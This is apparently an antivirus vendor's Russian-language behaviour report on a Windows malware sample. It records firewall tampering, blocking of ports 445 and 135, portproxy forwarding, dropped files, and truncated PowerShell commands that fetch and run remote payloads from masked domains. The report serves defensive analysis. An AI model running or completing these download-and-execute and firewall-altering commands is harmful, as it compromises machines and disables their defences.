Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Центр обеспечения безопасности (Security Center)
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\m6.bin
Сетевая активность
TCP
Запросы HTTP GET
- http://d.##kng.com/m6.bin?ya################################################################
- http://d.##kng.com/if.bin?ya################################################################
UDP
- DNS ASK d.##kng.com
- DNS ASK lp##.ackng.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='ae871a3b621d52fe83e84db98f4abecb';$ifp=$env:tmp+'\if.bin';$down_url='http...
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='ae871a3b621d52fe83e84db98f4abecb';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####.com...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.#####.com...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
